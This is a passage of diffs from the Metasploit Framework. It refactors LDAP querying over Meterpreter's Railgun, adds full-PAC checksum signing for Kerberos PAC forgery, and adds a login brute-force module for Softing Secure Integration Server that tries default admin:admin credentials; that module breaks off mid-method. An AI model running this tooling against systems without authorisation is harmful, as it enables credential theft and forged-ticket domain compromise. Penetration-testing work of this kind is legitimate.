when 4
@@ -368,10 +400,10 @@ module Msf
when 65
fail_with(Msf::Module::Failure::Unknown, "The LDAP operation failed due to an object class violation when using #{filter}.")
else
if query_result['errorMessage'].blank?
if query_result[:error_message].blank?
fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed but no error message was returned!")
else
fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed with error: #{query_result['errorMessage'].strip}")
fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed with error: #{query_result[:error_message].strip}")
end
end
end
@@ -26,7 +26,7 @@ module Exploit::Remote::SMB::Client::Psexec
[
OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to be used on target for pretty listing",nil])
], self.class)
register_advanced_options(
+24 -125
View File
@@ -180,12 +180,10 @@ module Msf
def query_ldap(session_handle, base, scope, filter, fields)
vprint_status('Searching LDAP directory')
search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4)
vprint_status("search: #{search}")
if search['return'] == LDAP_SIZELIMIT_EXCEEDED
print_error('LDAP_SIZELIMIT_EXCEEDED, parsing what we retrieved, try increasing the MAX_SEARCH value [0:LDAP_NO_LIMIT]')
elsif search['return'] != Error::SUCCESS
print_error('No results')
print_error("Search returned LDAP error #{search['return']} (#{ERROR_CODE_TO_CONSTANT.fetch(search['return'], 'Unknown')})")
wldap32.ldap_msgfree(search['res'])
return
end
@@ -198,10 +196,7 @@ module Msf
return
end
print_status("Entries retrieved: #{search_count}")
pEntries = []
entry_results = []
vprint_status("Entries retrieved: #{search_count}")
if datastore['MAX_SEARCH'] == 0
max_search = search_count
@@ -209,138 +204,42 @@ module Msf
max_search = [datastore['MAX_SEARCH'], search_count].min
end
0.upto(max_search - 1) do |i|
if (i == 0)
pEntries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return']
end
if (pEntries[i] == 0)
print_error('Failed to get entry')
wldap32.ldap_msgfree(search['res'])
return
end
vprint_status("Entry #{i}: 0x#{pEntries[i].to_s(16)}")
entry = get_entry(pEntries[i])
# Entries are a linked list...
if client.arch == ARCH_X64
pEntries[i + 1] = entry[4]
else
pEntries[i + 1] = entry[3]
end
ber = get_ber(entry)
entry = wldap32.ldap_first_entry(session_handle, search['res'])['return']
entry_results = []
while entry != 0 && (entry_results.length < max_search)
field_results = []
fields.each do |field|
vprint_status("Field: #{field}")
values = get_values_from_ber(ber, field)
values_result = ''
values_result = values.join(',') if values
vprint_status("Values #{values}")
values = wldap32.ldap_get_values(session_handle, entry, field)
if values['return'] != 0
count_values = wldap32.ldap_count_values(values['return'])
if count_values['return'] != 0
if client.native_arch == ARCH_X64
value_pointers = client.railgun.memread(values['return'], 8 * count_values['return']).unpack('Q*')
else
value_pointers = client.railgun.memread(values['return'], 4 * count_values['return']).unpack('V*')
end
values_result = value_pointers.map { |ptr| client.railgun.util.read_string(ptr) }.join(',')
end
wldap32.ldap_value_free(values['return'])
end
field_results << { type: 'unknown', value: values_result }
end
entry_results << field_results
entry = wldap32.ldap_next_entry(session_handle, entry)['return']
end
wldap32.ldap_msgfree(search['res'])
return {
fields: fields,
results: entry_results
}
end
# Gets the LDAP Entry
#
# @param pEntry [Integer] Pointer to the Entry
# @return [Array] Entry data structure
def get_entry(pEntry)
unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API)
raise "Session doesn't support Railgun!"
end
return client.railgun.memread(pEntry, 41).unpack('VVVVVVVVVvCCC')
end
# Get BER Element data structure from LDAPMessage
#
# @param msg [String] The LDAP Message from the server
# @return [String] The BER data structure
def get_ber(msg)
unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API)
raise "Session doesn't support Railgun!"
end
ber = client.railgun.memread(msg[2], 60).unpack('V*')
# BER Pointer is different between x86 and x64
if client.arch == ARCH_X64
ber_data = client.railgun.memread(ber[4], ber[0])
else
ber_data = client.railgun.memread(ber[3], ber[0])
end
return ber_data
end
# Search through the BER data structure for our Attribute.
# This doesn't attempt to parse the BER structure correctly
# instead it finds the first occurance of our field name
# tries to check the length of that value.
#
# @param ber_data [String] BER data structure
# @param field [String] Attribute name
# @return [Array] Values for the given +field+
def get_values_from_ber(ber_data, field)
field_offset = ber_data.index(field)
unless field_offset
vprint_status("Field not found in BER: #{field}")
return nil
end
# Value starts after our field string
values_offset = field_offset + field.length
values_start_offset = values_offset + 8
values_len_offset = values_offset + 5
curr_len_offset = values_offset + 7
values_length = ber_data[values_len_offset].unpack('C')[0]
values_end_offset = values_start_offset + values_length
curr_length = ber_data[curr_len_offset].unpack('C')[0]
curr_start_offset = values_start_offset
if (curr_length >= 127)
curr_length = ber_data[curr_len_offset + 1, 4].unpack('N')[0]
curr_start_offset += 4
end
curr_end_offset = curr_start_offset + curr_length
values = []
while (curr_end_offset < values_end_offset)
values << ber_data[curr_start_offset..curr_end_offset]
break unless ber_data[curr_end_offset] == "\x04"
curr_len_offset = curr_end_offset + 1
curr_length = ber_data[curr_len_offset].unpack('C')[0]
curr_start_offset = curr_end_offset + 2
curr_end_offset = curr_end_offset + curr_length + 2
end
# Strip trailing 0 or \x04 which is used to delimit values
values.map! { |x| x[0..x.length - 2] }
return values
end
# Shortcut to the WLDAP32 Railgun Object
# @return [Object] wldap32
def wldap32
@@ -365,10 +264,10 @@ module Msf
raise "Unable to initialize ldap server: #{init_result['ErrorMessage']}"
end
vprint_status("LDAP Handle: #{session_handle}")
vprint_status("LDAP Handle: 0x#{session_handle.to_s(16)}")
vprint_status('Setting Sizelimit Option')
wldap32.ldap_set_option(session_handle, LDAP_OPT_SIZELIMIT, size_limit)
vprint_status('Setting the size limit option')
wldap32.ldap_set_option(session_handle, LDAP_OPT_SIZELIMIT, [size_limit].pack('V'))
vprint_status('Binding to LDAP server')
bind_result = wldap32.ldap_bind_sA(session_handle, nil, nil, LDAP_AUTH_NEGOTIATE)
+1 -3
View File
@@ -737,9 +737,7 @@ private
end
def _run_exploit(mod, opts)
if mod.datastore['PAYLOAD']
opts['PAYLOAD'] = mod.datastore['PAYLOAD']
else
if opts['PAYLOAD'].blank?
opts['PAYLOAD'] = Msf::Payload.choose_payload(mod)
end
@@ -12,111 +12,111 @@ class Def_windows_wldap32
def self.create_library(constant_manager, library_path = 'wldap32')
dll = Library.new(library_path, constant_manager)
dll.add_function('ldap_sslinitA', 'DWORD',[
dll.add_function('ldap_sslinitA', 'LPVOID',[
['PCHAR', 'HostName', 'in'],
['DWORD', 'PortNumber', 'in'],
['ULONG', 'PortNumber', 'in'],
['DWORD', 'secure', 'in']
], 'ldap_sslinitA', "cdecl")
dll.add_function('ldap_bind_sA', 'DWORD',[
['DWORD', 'ld', 'in'],
dll.add_function('ldap_bind_sA', 'ULONG',[
['LPVOID', 'ld', 'in'],
['PCHAR', 'dn', 'in'],
['PCHAR', 'cred', 'in'],
['DWORD', 'method', 'in']
['ULONG', 'method', 'in']
], 'ldap_bind_sA', "cdecl")
dll.add_function('ldap_search_sA', 'DWORD',[
['DWORD', 'ld', 'in'],
dll.add_function('ldap_search_sA', 'ULONG',[
['LPVOID', 'ld', 'in'],
['PCHAR', 'base', 'in'],
['DWORD', 'scope', 'in'],
['ULONG', 'scope', 'in'],
['PCHAR', 'filter', 'in'],
['PCHAR', 'attrs[]', 'in'],
['DWORD', 'attrsonly', 'in'],
['PDWORD', 'res', 'out']
['ULONG', 'attrsonly', 'in'],
['PLPVOID', 'res', 'out']
], 'ldap_search_sA', "cdecl")
dll.add_function('ldap_set_option', 'DWORD',[
['DWORD', 'ld', 'in'],
dll.add_function('ldap_set_option', 'ULONG',[
['LPVOID', 'ld', 'in'],
['DWORD', 'option', 'in'],
['PDWORD', 'invalue', 'in']
['PBLOB', 'invalue', 'in']
], 'ldap_set_option', "cdecl")
dll.add_function('ldap_search_ext_sA', 'DWORD',[
['DWORD', 'ld', 'in'],
dll.add_function('ldap_search_ext_sA', 'ULONG',[
['LPVOID', 'ld', 'in'],
['PCHAR', 'base', 'in'],
['DWORD', 'scope', 'in'],
['ULONG', 'scope', 'in'],
['PCHAR', 'filter', 'in'],
['PCHAR', 'attrs[]', 'in'],
['DWORD', 'attrsonly', 'in'],
['DWORD', 'pServerControls', 'in'],
['DWORD', 'pClientControls', 'in'],
['DWORD', 'pTimeout', 'in'],
['DWORD', 'SizeLimit', 'in'],
['PDWORD', 'res', 'out']
['ULONG', 'attrsonly', 'in'],
['LPVOID', 'pServerControls', 'in'],
['LPVOID', 'pClientControls', 'in'],
['PBLOB', 'pTimeout', 'in'],
['ULONG', 'SizeLimit', 'in'],
['PLPVOID', 'res', 'out']
], 'ldap_search_ext_sA', "cdecl")
dll.add_function('ldap_count_entries', 'DWORD',[
['DWORD', 'ld', 'in'],
['DWORD', 'res', 'in']
dll.add_function('ldap_count_entries', 'ULONG',[
['LPVOID', 'ld', 'in'],
['LPVOID', 'res', 'in']
], "ldap_count_entries", "cdecl")
dll.add_function('ldap_first_entry', 'DWORD',[
['DWORD', 'ld', 'in'],
['DWORD', 'res', 'in']
dll.add_function('ldap_first_entry', 'LPVOID',[
['LPVOID', 'ld', 'in'],
['LPVOID', 'res', 'in']
], 'ldap_first_entry', "cdecl")
dll.add_function('ldap_next_entry', 'DWORD',[
['DWORD', 'ld', 'in'],
['DWORD', 'entry', 'in']
dll.add_function('ldap_next_entry', 'LPVOID',[
['LPVOID', 'ld', 'in'],
['LPVOID', 'entry', 'in']
], 'ldap_next_entry', "cdecl")
dll.add_function('ldap_first_attributeA', 'DWORD',[
['DWORD', 'ld', 'in'],
['DWORD', 'entry', 'in'],
['DWORD', 'ptr', 'in']
dll.add_function('ldap_first_attributeA', 'PCHAR',[
['LPVOID', 'ld', 'in'],
['LPVOID', 'entry', 'in'],
['PLPVOID', 'ptr', 'out']
], 'ldap_first_attributeA', "cdecl")
dll.add_function('ldap_next_attributeA', 'DWORD',[
['DWORD', 'ld', 'in'],
['DWORD', 'entry', 'in'],
['DWORD', 'ptr', 'inout']
dll.add_function('ldap_next_attributeA', 'PCHAR',[
['LPVOID', 'ld', 'in'],
['LPVOID', 'entry', 'in'],
['LPVOID', 'ptr', 'inout']
], 'ldap_next_attributeA', "cdecl")
dll.add_function('ldap_count_values', 'DWORD',[
['DWORD', 'vals', 'in'],
dll.add_function('ldap_count_values', 'ULONG',[
['LPVOID', 'vals', 'in'],
], 'ldap_count_values', "cdecl")
dll.add_function('ldap_get_values', 'DWORD',[
['DWORD', 'ld', 'in'],
['DWORD', 'entry', 'in'],
dll.add_function('ldap_get_values', 'LPVOID',[
['LPVOID', 'ld', 'in'],
['LPVOID', 'entry', 'in'],
['PCHAR', 'attr', 'in']
], 'ldap_get_values', "cdecl")
dll.add_function('ldap_value_free', 'DWORD',[
['DWORD', 'vals', 'in'],
dll.add_function('ldap_value_free', 'ULONG',[
['LPVOID', 'vals', 'in'],
], 'ldap_value_free', "cdecl")
dll.add_function('ldap_memfree', 'VOID',[
['DWORD', 'block', 'in'],
['PCHAR', 'block', 'in'],
], 'ldap_memfree', "cdecl")
dll.add_function('ber_free', 'VOID',[
['DWORD', 'pBerElement', 'in'],
['LPVOID', 'pBerElement', 'in'],
['DWORD', 'fbuf', 'in'],
], 'ber_free', "cdecl")
dll.add_function('LdapGetLastError', 'DWORD',[], 'LdapGetLastError', "cdecl")
dll.add_function('LdapGetLastError', 'ULONG', [], 'LdapGetLastError', "cdecl")
dll.add_function('ldap_err2string', 'DWORD',[
['DWORD', 'err', 'in']
dll.add_function('ldap_err2string', 'PCHAR',[
['ULONG', 'err', 'in']
], 'ldap_err2string', "cdecl")
dll.add_function('ldap_msgfree', 'DWORD', [
['DWORD', 'res', 'in']
dll.add_function('ldap_msgfree', 'ULONG', [
['LPVOID', 'res', 'in']
], 'ldap_msgfree', "cdecl")
dll.add_function('ldap_unbind', 'DWORD', [
['DWORD', 'ld', 'in']
dll.add_function('ldap_unbind', 'ULONG', [
['LPVOID', 'ld', 'in']
], 'ldap_unbind', "cdecl")
return dll
end
@@ -51,6 +51,7 @@ class Library
'SIZE_T' => 'ULONG_PTR',
'PSIZE_T' => 'PULONG_PTR',
'PLPVOID' => 'PULONG_PTR',
'ULONG' => 'DWORD',
'PULONG' => 'PDWORD'
}.freeze
@@ -272,8 +273,8 @@ class Library
[packet, layouts]
end
def build_response(packet, function, layouts, arch)
case arch
def build_response(packet, function, layouts, client)
case client.native_arch
when ARCH_X64
native = 'Q<'
when ARCH_X86
@@ -300,7 +301,7 @@ class Library
# process return value
case function.return_type
when 'LPVOID', 'ULONG_PTR'
if arch == ARCH_X64
if client.native_arch == ARCH_X64
return_hash['return'] = rec_return_value
else
return_hash['return'] = rec_return_value & 0xffffffff
@@ -315,6 +316,20 @@ class Library
return_hash['return'] = (rec_return_value != 0)
when 'VOID'
return_hash['return'] = nil
when 'PCHAR'
return_hash['return'] = rec_return_value == 0 ? nil : client.railgun.util.read_string(rec_return_value)
return_hash['&return'] = rec_return_value
when 'PWCHAR'
return_hash['return'] = rec_return_value == 0 ? nil : client.railgun.util.read_wstring(rec_return_value)
return_hash['&return'] = rec_return_value
when 'PULONG_PTR'
if client.native_arch == ARCH_X64
return_hash['return'] = rec_return_value == 0 ? nil : client.railgun.util.memread(rec_return_value, 8)&.unpack1('Q<')
return_hash['&return'] = rec_return_value
else
return_hash['return'] = rec_return_value == 0 ? nil : client.railgun.util.memread(rec_return_value, 4)&.unpack1('V')
return_hash['&return'] = rec_return_value
end
else
raise "unexpected return type: #{function.return_type}"
end
@@ -374,7 +389,7 @@ class Library
response = client.send_request(request)
build_response(response, function, layouts, client.native_arch)
build_response(response, function, layouts, client)
end
# perform type conversions as necessary to reduce the datatypes to their primitives
@@ -43,9 +43,9 @@ class LibraryFunction
'LPVOID' => ['in', 'return'], # sf: for specifying a memory address (e.g. VirtualAlloc/HeapAlloc/...) where we don't want to back it up with actual mem ala PBLOB
'ULONG_PTR' => ['in', 'return'],
'PDWORD' => ['in', 'out', 'inout'], # todo: support for functions that return pointers to strings
'PULONG_PTR' => ['in', 'out', 'inout'],
'PWCHAR' => ['in', 'out', 'inout'],
'PCHAR' => ['in', 'out', 'inout'],
'PULONG_PTR' => ['in', 'out', 'inout', 'return'],
'PWCHAR' => ['in', 'out', 'inout', 'return'],
'PCHAR' => ['in', 'out', 'inout', 'return'],
'PBLOB' => ['in', 'out', 'inout'],
}.freeze
@@ -90,7 +90,7 @@ class MultiCaller
lib_name, function, args = f
library = @parent.get_library(lib_name)
function = library.functions[function] unless function.instance_of? LibraryFunction
function_results << library.build_response(call_results.shift, function, call_layouts.shift, @client.native_arch)
function_results << library.build_response(call_results.shift, function, call_layouts.shift, @client)
end
function_results
@@ -133,7 +133,7 @@ class Railgun
#
def util
if @util.nil?
@util = Util.new(self, client.arch)
@util = Util.new(self, client.native_arch)
end
return @util
@@ -310,13 +310,18 @@ class Console::CommandDispatcher::Stdapi::Net
when 'add'
# Satisfy check to see that formatting is correct
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
print_error "Invalid IP Address"
unless Rex::Socket.is_ip_addr?(args[0])
print_error "Invalid subnet: #{args[0]}"
return false
end
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
print_error 'Invalid Subnet mask'
unless Rex::Socket.is_ip_addr?(args[1])
print_error "Invalid subnet mask: #{args[1]}"
return false
end
unless Rex::Socket.is_ip_addr?(args[2])
print_error "Invalid gateway address: #{args[2]}"
return false
end
@@ -325,13 +330,18 @@ class Console::CommandDispatcher::Stdapi::Net
client.net.config.add_route(*args)
when 'delete'
# Satisfy check to see that formatting is correct
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
print_error 'Invalid IP Address'
unless Rex::Socket.is_ip_addr?(args[0])
print_error "Invalid subnet: #{args[0]}"
return false
end
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
print_error 'Invalid Subnet mask'
unless Rex::Socket.is_ip_addr?(args[1])
print_error "Invalid subnet mask: #{args[1]}"
return false
end
unless Rex::Socket.is_ip_addr?(args[2])
print_error "Invalid gateway address: #{args[2]}"
return false
end
@@ -99,7 +99,7 @@ module Rex::Proto::Kerberos::CredentialCache
output << 'Cipher:'.indent(4)
output << Base64.strict_encode64(ticket.enc_part.cipher).indent(6)
else
output << "Decrypted (with key: #{key.bytes.map { |x| "#{x.to_s(16).rjust(2, '0')}" }.join}):".indent(4)
output << "Decrypted (with key: #{key.bytes.map { |x| x.to_s(16).rjust(2, '0').to_s }.join}):".indent(4)
output << present_encrypted_ticket_part(ticket, key).indent(6)
end
@@ -164,20 +164,49 @@ module Rex::Proto::Kerberos::CredentialCache
output.join("\n")
end
# @param [String] header
# @param [String] signature
# @return [String] A human readable representation of a Checksum
def present_checksum(header:, signature:)
sig = signature.bytes.map { |x| x.to_s(16).rjust(2, '0').to_s }.join
"#{header}\n" +
"Signature: #{sig}".indent(2)
end
# @param [Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum] server_checksum
# @return [String] A human readable representation of a Server Checksum
def present_server_checksum(server_checksum)
sig = server_checksum.signature.bytes.map { |x| "#{x.to_s(16).rjust(2, '0')}" }.join
"Pac Server Checksum:\n" +
"Signature: #{sig}".indent(2)
signature = server_checksum.signature
header = 'Pac Server Checksum:'
present_checksum(header: header, signature: signature)
end
# @param [Rex::Proto::Kerberos::Pac::Krb5PacPrivServerChecksum] priv_server_checksum
# @return [String] A human readable representation of a Privilege Server Checksum
def present_priv_server_checksum(priv_server_checksum)
sig = priv_server_checksum.signature.bytes.map { |x| "#{x.to_s(16).rjust(2, '0')}" }.join
"Pac Privilege Server Checksum:\n" +
"Signature: #{sig}".indent(2)
signature = priv_server_checksum.signature
header = 'Pac Privilege Server Checksum:'
present_checksum(header: header, signature: signature)
end
# @param [Rex::Proto::Kerberos::Pac::Krb5TicketChecksum] ticket_checksum
# @return [String] A human readable representation of a Ticket Checksum
def present_ticket_checksum(ticket_checksum)
signature = ticket_checksum.signature
header = 'Ticket Checksum:'
present_checksum(header: header, signature: signature)
end
# @param [Rex::Proto::Kerberos::Pac::Krb5FullPacChecksum] full_pac_checksum
# @return [String] A human readable representation of a Full Pac Checksum
def present_full_pac_checksum(full_pac_checksum)
signature = full_pac_checksum.signature
header = 'Full Pac Checksum:'
present_checksum(header: header, signature: signature)
end
# @param [Rex::Proto::Kerberos::Pac::Krb5UpnDnsInfo] upn_and_dns_info
@@ -213,11 +242,15 @@ module Rex::Proto::Kerberos::CredentialCache
present_priv_server_checksum(pac_element)
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION
present_upn_and_dns_information(pac_element)
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM
present_ticket_checksum(pac_element)
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::FULL_PAC_CHECKSUM
present_full_pac_checksum(pac_element)
else
ul_type_name = Rex::Proto::Kerberos::Pac::Krb5PacElementType.const_name(ul_type)
ul_type_name = ul_type_name.gsub('_', ' ').capitalize if ul_type_name
"#{ul_type_name || "Unknown ul type #{ul_type}"}:\n" +
"#{info_buffer.to_s}".indent(2)
info_buffer.to_s.indent(2)
end
end
@@ -276,7 +309,7 @@ module Rex::Proto::Kerberos::CredentialCache
# @param [Rex::Proto::Kerberos::Pac::UserSessionKey] user_session_key
# @return [String] A human readable representation of a User Session Key
def present_user_session_key(user_session_key)
user_session_key.session_key.flat_map(&:data).map { |x| "#{x.to_i.to_s(16).rjust(2, '0')}" }.join
user_session_key.session_key.flat_map(&:data).map { |x| x.to_i.to_s(16).rjust(2, '0').to_s }.join
end
# @param [RubySMB::Dcerpc::Ndr::NdrFileTime] time
+40
View File
@@ -0,0 +1,40 @@
# frozen_string_literal: true
module Rex
module Proto
module Kerberos
module Pac
module Error
# Generic Pac Error
class PacError < StandardError
def initialize(msg = 'Invalid PAC')
super
end
end
# To be raised when a PAC object does not contain one or more specific Info Buffers
class MissingInfoBuffer < PacError
# @return [Array<Integer>] The ul types of the missing info buffers
attr_accessor :ul_types
# @param [String, nil] msg
# @param [Array<Integer>] ul_types The ul types of the missing info buffers.
def initialize(msg = nil, ul_types:)
@ul_types = ul_types
super(msg || generate_message)
end
# @return [String] A message created containing the names of the missing buffers.
def generate_message
missing_buffer_names = @ul_types.map do |ul_type|
Rex::Proto::Kerberos::Pac::Krb5PacElementType.const_name(ul_type)
end
"Missing Info Buffer(s): #{missing_buffer_names.join(', ')}"
end
end
end
end
end
end
end
+48 -7
View File
@@ -104,6 +104,18 @@ module Rex::Proto::Kerberos::Pac
virtual :ul_type, value: Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM
end
class Krb5TicketChecksum < Krb5PacSignatureData
# @!attribute [r] ul_type
# @return [Integer] Describes the type of data present in the buffer
virtual :ul_type, value: Krb5PacElementType::TICKET_CHECKSUM
end
class Krb5FullPacChecksum < Krb5PacSignatureData
# @!attribute [r] ul_type
# @return [Integer] Describes the type of data present in the buffer
virtual :ul_type, value: Krb5PacElementType::FULL_PAC_CHECKSUM
end
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73
class Krb5ValidationInfo < RubySMB::Dcerpc::Ndr::NdrStruct
default_parameters byte_align: 8
@@ -531,6 +543,8 @@ module Rex::Proto::Kerberos::Pac
krb5_client_info Krb5PacElementType::CLIENT_INFORMATION
krb5_pac_server_checksum Krb5PacElementType::SERVER_CHECKSUM
krb5_pac_priv_server_checksum Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM
krb5_ticket_checksum Krb5PacElementType::TICKET_CHECKSUM
krb5_full_pac_checksum Krb5PacElementType::FULL_PAC_CHECKSUM
krb5_pac_credential_info Krb5PacElementType::CREDENTIAL_INFORMATION, data_length: :data_length
krb5_upn_dns_info Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION
unknown_pac_element :default, data_length: :data_length, selection: :selection
@@ -589,20 +603,47 @@ module Rex::Proto::Kerberos::Pac
end
# Calculates the checksums, can only be done after all other fields are set
def calculate_checksums!(key: nil)
# @param [String] service_key Service key to calculate the server checksum
# @param [String] krbtgt_key key to calculate priv server (KDC) and full checksums with, if not specified `service_key` is used
#
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/962edb93-fa3c-48ea-a0a6-062f760eb69c
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/37bf87b9-1d56-475a-b2b2-e3948b29194d
def calculate_checksums!(service_key: nil, krbtgt_key: nil)
server_checksum = nil
priv_server_checksum = nil
full_pac_checksum = nil
pac_info_buffers.each do |info_buffer|
pac_element = info_buffer.buffer.pac_element
if pac_element.ul_type == 6
case pac_element.ul_type
when Krb5PacElementType::SERVER_CHECKSUM
server_checksum = pac_element
elsif pac_element.ul_type == 7
when Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM
priv_server_checksum = pac_element
when Krb5PacElementType::FULL_PAC_CHECKSUM
full_pac_checksum = pac_element
else
next
end
end
server_checksum.signature = calculate_checksum(server_checksum.signature_type, key, to_binary_s)
priv_server_checksum.signature = calculate_checksum(priv_server_checksum.signature_type, key, server_checksum.signature)
missing_checksums = []
missing_checksums << Krb5PacElementType::SERVER_CHECKSUM if server_checksum.nil?
missing_checksums << Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM if priv_server_checksum.nil?
raise Rex::Proto::Kerberos::Pac::Error::MissingInfoBuffer.new(ul_types: missing_checksums) unless missing_checksums.empty?
if krbtgt_key.nil?
krbtgt_key = service_key
end
# https://bugzilla.samba.org/show_bug.cgi?id=15231
# https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Tervoort-Breaking-Kerberos-RC4-Cipher-and-Spoofing-Windows-PACs-wp.pdf
if full_pac_checksum
full_pac_checksum.signature = calculate_checksum(full_pac_checksum.signature_type, krbtgt_key, to_binary_s)
end
server_checksum.signature = calculate_checksum(server_checksum.signature_type, service_key, to_binary_s)
priv_server_checksum.signature = calculate_checksum(priv_server_checksum.signature_type, krbtgt_key, server_checksum.signature)
end
# Calculates the offsets for pac_elements if they haven't yet been set
@@ -619,9 +660,9 @@ module Rex::Proto::Kerberos::Pac
# Call this when you are done setting fields in the object
# in order to finalise the data
def sign!(key: nil)
def sign!(service_key: nil, krbtgt_key: nil)
calculate_offsets!
calculate_checksums!(key: key)
calculate_checksums!(service_key: service_key, krbtgt_key: krbtgt_key)
end
private
@@ -17,6 +17,8 @@ module Rex::Proto::Kerberos::Pac
TICKET_CHECKSUM = 0x00000010
PAC_ATTRIBUTES = 0x00000011
PAC_REQUESTOR = 0x00000012
# https://support.microsoft.com/en-gb/topic/kb5020805-how-to-manage-kerberos-protocol-changes-related-to-cve-2022-37967-997e9acc-67c5-48e1-8d0d-190269bf4efb
FULL_PAC_CHECKSUM = 0x00000013
#
# Return a string representation of the constant for a number
+1 -1
View File
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '2.0.108'
spec.add_runtime_dependency 'metasploit-payloads', '2.0.113'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20'
# Needed by msfgui and other rpc components
+5 -5
View File
@@ -65,14 +65,14 @@ class MetasploitModule < Msf::Auxiliary
end
def fail_with_ldap_error(message)
ldap_result = @ldap.as_json['result']['ldap_result']
return if ldap_result['resultCode'] == 0
ldap_result = @ldap.get_operation_result.table
return if ldap_result[:code] == 0
print_error(message)
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
case ldap_result['resultCode']
case ldap_result[:code]
when 1
fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result['errorMessage'].strip}")
fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result[:error_message].strip}")
when 16
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.')
when 50
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::Unknown, 'The LDAP operation failed due to an object class violation.')
end
fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result['resultCode']} message: #{ldap_result['errorMessage'].strip}")
fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}")
end
def get_delegate_from_obj
@@ -145,9 +145,9 @@ class MetasploitModule < Msf::Auxiliary
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
query_result = ldap.as_json['result']['ldap_result']
query_result_table = ldap.get_operation_result.table
validate_query_result!(query_result, filter)
validate_query_result!(query_result_table, filter)
if returned_entries.blank?
vprint_error("No results found for #{filter}.")
+2 -3
View File
@@ -140,9 +140,8 @@ class MetasploitModule < Msf::Auxiliary
base ||= @base_dn
scope ||= Net::LDAP::SearchScope_WholeSubtree
returned_entries = ldap.search(base: base, filter: filter, attributes: attributes, scope: scope)
query_result = ldap.as_json['result']['ldap_result']
validate_query_result!(query_result, filter)
query_result_table = ldap.get_operation_result.table
validate_query_result!(query_result_table, filter)
if returned_entries.nil? || returned_entries.empty?
print_error("No results found for #{filter}.")
@@ -0,0 +1,124 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/login_scanner/softing_sis'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Softing Secure Integration Server Login Utility',
'Description' => %q{
This module will attempt to authenticate to a Softing Secure Integration Server.
},
'Author' => [ 'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' ],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
},
'DefaultOptions' => {
'RPORT' => 8099,
'SSL' => false,
'SSLVersion' => 'TLS1'
}
)
)
deregister_options('PASSWORD_SPRAY')
# credentials are "admin:admin" by default
register_options(
[
OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),
OptString.new('PASSWORD', [false, 'The password to specify for authentication.', 'admin'])
]
)
end
def scanner(ip)
cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD']
)
return Metasploit::Framework::LoginScanner::SoftingSIS.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
)
)
end
def report_good_cred(result)
service_data = { status: result.status }.merge(service_details)
store_valid_credential(
user: result.credential.public,
private: result.credential.private,
proof: result.proof,
service_data: service_data
)
end
def report_bad_cred(ip, rport, result)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
end
def bruteforce(ip)
scanner(ip).scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(level: :good, ip: ip, msg: "Success: '#{result.credential}'")
report_good_cred(result)
